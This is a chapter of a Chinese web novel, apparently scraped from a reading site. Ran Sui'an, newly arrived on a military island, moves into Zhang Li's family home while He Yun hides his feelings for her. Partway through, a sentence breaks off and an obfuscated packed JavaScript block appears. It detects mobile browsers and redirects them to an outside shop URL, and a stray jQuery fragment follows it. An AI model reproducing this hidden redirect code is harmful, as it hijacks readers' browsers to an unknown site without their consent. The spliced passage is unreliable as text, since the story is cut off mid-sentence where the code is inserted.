张莉皱了皱眉头,已经有点嫌弃他事多。
但发现他看似面无表情,眼中却明显带着紧张神色后,忽然福至心灵,止住了话头:“我仔细想了想,妹子刚到岛上,还没休息好,这事也没这么着急。给妹子挑的相亲对象,一定要人品、家世、样貌各方面都好才行。”
贺韫紧绷的嘴唇总算放松一些,几不可查的点了点头。
这是大实话,岁安这么优秀,相亲对象自然需要千挑万选,哪能随便从犄角旮旯里随便拉一个人出来,这不是胡闹吗。
张莉摇头失笑,总算理解了贺韫的表现为什么这么奇怪。
哥哥嘛,对未来的妹夫总归是看不顺眼的,今天要是由着贺韫挑毛病,那全天下都没一个能入他法眼的,看来这事还得她来把关。
眼见着这个危险的话题终于翻篇,冉岁安终于松了口气,挥退心中那点不自在:“先吃饭吧,都忙着讲话,菜也没吃几口。”
张莉心思被拉回饭桌上,闻着几道菜不停往外散发出的香味,看着手和嘴一直没停过、吃得喷香的小孩,咽了咽口水,没顾上说话,就赶紧加入抢菜大军 。
几个人都是能吃的,一时间桌上只余下筷子和碗碟碰撞的声音,其间还偶尔夹杂几句抑制不住的夸赞声。
冉岁安嘴角微翘,眼底好似铺了一层碎钻:“锅里还做了丝瓜鸡蛋汤,现在温度应该正好,我去端过来,你们等等。”
“我去盛我去盛!岁安姨坐着就好。”柱子也正好吃完饭,舔了舔碗底的肉汁,跳下凳子就往厨房跑。
石头也吃的差不多了,满足的揉了揉肚子:“岁安姨,你以后打算一直住在岛上了吗?”
冉岁安杏眼弯成月牙:“对啊。”
石头兴奋的双手都举起来了,“太好了岁安姨!你以后一定要多来找我玩!”
林团长根本没眼看自家小子的那副蠢样,轻咳一声,往嘴里扒了口饭演示尴尬。
“那岁安姨你住在哪里啊,我知道贺叔叔还没分到房子呢。”柱子端着一盆汤走过来。
“对啊对啊,”石头忙不迭接话:“妈妈早上说你不住我们家,那就是去住招待所?”
部队里面的招待所,对军属自然是有优待的,一天也就象征性的收个几分钱,几乎不会给人造成经济上的负担。
冉岁安理所当然的点头:“招待所挺方便的。”
“不行不行,”石头把手摆出残影:“岁安姨你不知道,在招待所里睡不好觉的,经常有人去查介绍信,一晚上得被叫醒好几回。”
曾经的冉岁安每天两点一线的在家里和学校里往返,从没出过远门,自然也不知道还有这种情况,她看向贺韫,眼里带着些疑惑。
贺韫点头。
其实昨天从医院出来后,他就在想这件事。
原本打算和队里哪个嫂子商量一下借住的事,也能让岁安能好好休息。但当时天已经晚了,加上怕岁安不习惯住别人家里,不好擅作主张,所以打算今天中午再跟她提这事,没想到石头和柱子倒是心细,先提出来了。
看到岁安脸上浮现出苦恼的神色,又联想到她和张莉相处时表现出的亲昵,贺韫不再犹豫,对着张莉道:“嫂子,不知道你这边方不方便,岁安身体不好,招待所晚上频繁查房,我怕她休息不好,身体受不了。我拿东西跟你换。”
张莉还没来得及搭话,冉岁安先摆手了:“不用不用,我身体挺好的,住招待所一点问题都没有......”
来到岛上才两天不到,张莉就已经帮了她很多忙了,她不好意思再麻烦人家。
“你身体好?”贺韫微微挑了挑眉。
冉岁安想到自己才刚刚出院,有些心虚,只敢小声嘟囔:“那只是意外。”
贺韫伸手揉了揉冉岁安的脑袋,向来凌厉的眼神也变得柔和许多,“但我会担心。”
冉岁安呼吸一窒,仰头看向贺韫,杏眼里透着一丝茫然和一丝来不及藏好的慌乱,她捏着筷子的指尖泛白,不知道该作何回应。
张莉刚给自己盛了一碗汤,没注意到两人之间奇怪的氛围,懊恼的拍了下自己的脑门:“嫂子糊涂了,还没石头细心,一点都没想到还有这个情况。”
她越想越觉得这事不能拖,脚一蹬就站了起来:“妹子,我现在就去给你收拾房间,石头柱子你们等会陪着岁安去招待所把行李拿来。
以后就安心住在嫂子这里,正好午饭也不用跑食堂去打了,这天热的,出去一趟再回来能出一身汗。”
冉岁安看着风风火火就要往屋里冲的张莉,连忙伸手拽住她的衣角:“姐,不急这一会的,吃好饭再去也不迟,汤盛好了还没喝呢。”
张莉是个急脾气,想到什么不马上去做,就抓心挠肝的难受。
人是坐回凳子上了,但咕嘟咕嘟两口就把汤喝完,碗往桌上一搁,竖起大拇指夸了句“妹子好手艺”,就又站起来往屋里钻。
到了门口又想起什么,“老林!等会吃完饭别忘了刷碗。”
林团长显然对这一幕习以为常,乐乐呵呵的应下,招呼哭笑不得的冉岁安:“你姐就这急脾气,不管她,咱们继续吃。”
贺韫看起来也没什么意外的神色,“你招待所的钥匙给我,等会你好好休息,行李我帮你拿。”
“不用了贺哥,东西不多,我等会自己去就行。”冉岁安说话时习惯看着对方,嘴角微微翘起,两个小梨涡直接甜到人心窝窝里。
贺韫舔了舔微干的嘴唇,耳根不受控制的开始发热,垂下眸子不看那双含笑的眼睛,才勉强抵抗住诱惑:“中午太阳毒,你中暑刚好,不能再被暴晒了。”
“我拿了就回来,保证不动你的东西。”
林团长也在一旁帮腔:“小冉,你怎么还跟你哥客气,他跑的快,这一点路,累不着他。”
贺韫听到“你哥”的时候,眉心微微蹙起,心底莫名泛上一股不甘,他明明是她的未婚夫,而她看向他时,眼底也分明只有他,如今却只能当她的哥哥。
意识到自己错误的想法后,他内心一惊,立刻将这点刚萌芽的不甘掐灭,他现在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17799619|209635||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这个情况绝不能耽误岁安。
冉岁安看了看外面愈发毒辣的太阳,感受了一下自己依旧有些虚弱的身体,害怕再中暑给人添麻烦,终于没继续逞强。
她从裤兜里掏出钥匙递给贺韫:“二楼最东面那间,就两个包,在床边柜子上,谢谢贺哥。”
贺韫接过钥匙,带着老茧的指腹无意间擦过岁安的手指,动作顿了一瞬,绷着脸点点头,三两下把碗里饭扒完、汤喝完,就立刻起身离去。
粗略一看背影,他还是那个身姿修长、帅气冷峻的贺营长,但仔细瞧瞧,就能发现这位贺营长走路竟同手同脚。
冉岁安脸上不自觉浮现出笑意,发现这位原书里的阴暗大反派其实面冷心热,还挺可爱的。
林团长说的果然没错,冉岁安才刚把饭吃完,贺韫就已经脸不红气不喘的拎着她的包回来了。
冉岁安赶忙上去迎他,顺便想把自己的包接过来。
贺韫手往后一躲,没让她得逞:“林团长,岁安的东西放哪。”
林木收拾着碗筷,下巴往刚刚张莉进去的房间一扬:“放房间里吧,你嫂子估计也收拾的差不多了。”
林木级别高,家里又有两个孩子,分到的房子是三室一厅的。原本打算夫妻两住一间,两个孩子一人一间。
结果孩子年纪还小,感情也要好,一直不愿意分开睡,最后一间就一直空着,平日里就放点杂物,充作书房。
收拾起来也简单,把碍事的东西挪一挪,再擦擦床,铺个床单就行。
张莉干活利索,就这么一会的功夫,房间已经收拾好了,本就不多的杂物被整整齐齐摞在墙角,最上面用两个袋子遮住,床上铺好了军绿色的床单,床头位置还放了一把凳子充当床头柜。
靠窗的桌子被擦得干干净净,上面放了两盒火柴、一根蜡烛和一个搪瓷杯。
她扫完地直起腰拍拍手,扫了一圈屋子,确认没什么不干净的地方后满意的点点头,余光扫到门口的两人,招招手:“快进来快进来,东西放桌上就行,要是还有什么缺的东西就跟我说。”
贺韫依言将东西放过去,又看了眼岁安的神色,确认她不排斥这里后,才告辞离开:“那岁安就麻烦嫂子了,我就先回去了。”
张莉正拉着冉岁安介绍房间,闻言点点头:“行,那你慢走,我就不留你了。”
敷衍完贺韫,又兴致勃勃的和冉岁安说起话来。
冉岁安不好打断,只得微微侧头,悄悄把手抬到腰侧,轻轻朝贺韫挥了两下。那小心翼翼的样子,和准备偷偷出门的猫猫没什么两样。
贺韫桃花眼微微弯起,周身凌厉的气势化为柔和的风,朝岁安点点头后转身离开。
冉岁安的手僵硬在空中,脑子里不自觉浮现出贺韫的笑脸。
她总算知道这人为什么天天冷着个脸了,这一笑起来,杀伤力是真大啊。
冉岁安默默收回手,揉了揉自己发烫的耳尖,拍拍脸告诫自己千万不能色令智昏。
这可是原书里没人拿得下的大反派啊!